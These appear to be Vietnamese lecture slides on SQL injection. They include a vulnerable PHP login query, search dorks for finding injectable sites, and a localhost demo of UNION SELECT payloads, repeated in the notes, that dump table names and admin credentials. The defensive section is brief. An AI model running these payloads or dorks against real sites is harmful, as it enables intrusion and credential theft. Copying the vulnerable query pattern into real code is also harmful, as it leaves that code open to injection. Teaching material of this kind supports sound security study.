6. • Lợi dụng lỗ hổng trong việc kiểm tra thông tin
đầu vào
<form action="" method="post">
Tài khoản: <input type="text" name=“user">
Mật khẩu: <input type="password" name=“pass">
<input type="submit“ value=“Đăng nhập”>
</form>
<?php
$user=$_POST[‘user’];
$pass=$_POST[‘pass’];
$sql=“SELECT * FROM tbl_user WHERE
user=‘$user’ && pass=‘$pass’”;
$query=mysql_query($sql);
8. • Thông báo lỗi của hệ quản trị CSDL
– Mysql_fetch_array();
– Database query failed…
– You have an error in your SQL systax…
9. Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
10. Phương thức tấn công
• Các dork ( Từ khóa tìm site bị lỗi)
– index.php?id=
– news.php id=
– article.php?id=
– games.php?id=
– opinions.php?id=
– pages.php?id=
– prod_detail.php?id=
– view.php?id=
………….
11. • Các bước tấn công sử dụng lệnh union select
– Kiểm tra lỗi sql injection.
– Tìm số cột mà câu truy vấn tạo ra.
– Tìm cột chứa thông tin có thể khai thác được.
– Xem phiên bản của CSDL và ngôn ngữ lập trình.
– Xác định tên bảng chứa thông tin người quản trị.
– Xác định tài khoản/mật khẩu của quản trị.
– Truy cập vào phần giành cho quản trị viên.
12. Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
13. Cách phòng chống
• Phòng chống từ mức xây dựng mã nguồn ứng
dụng
– Whilelist
– Backlist
• Bảo vệ từ mức nền tảng của hệ thống
14. Nội dung
• Mục đích tấn công
• Cơ chế tấn công
• Phương thức tấn công
• Cách phòng chống
• Demo
15. Demo
• Công cụ hỗ trợ
– Add-on hackBar.
– Web Admin Finder V2.0.
– Google.
18. Tìm số cột mà câu truy vấn SQL tạo ra
http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -
19. Xác định vị trí xảy ra lỗi
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
20. Xác định phiên bản ngôn ngữ lập trình
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--
21. Xác định tên các bảng trong CSDL
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('n',table_name))),7,8,9,10,11,12,13,14,15
from information_schema.tables where table_schema=database()--
22. Xác đinh các cột trong bảng tbl_user
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat('n',column_name))),7,8,9,10,11,12,13,14,15
from information_schema.columns where table_name=0x74626c5f75736572--
23. Xác định thông tin username, password của Admin
http://localhost/maytinh/?frame=product_detail&id=-289 union select
1,2,3,4,5,unhex(hex(group_concat(id,0x7c,uid,0x7c,pwd))),
7,8,9,10,11,12,13,14,15 from tbl_user--
25. Tìm đường dẫn trang quản trị
Localhost/maytinh/admin
Notas del editor
Chuẩn hóa dữ liệuBảo vệ từ mức nền tảng của hệ thống
http://localhost/maytinh/?frame=product_detail&id=289 order by 15-- -
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,version(),7,8,9,10,11,12,13,14,15--
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',table_name))),7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database()--
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat('\n',column_name))),7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x74626c5f75736572--
http://localhost/maytinh/?frame=product_detail&id=-289 union select 1,2,3,4,5,unhex(hex(group_concat(id,0x7c, uid,0x7c, pwd))),7,8,9,10,11,12,13,14,15 from tbl_user--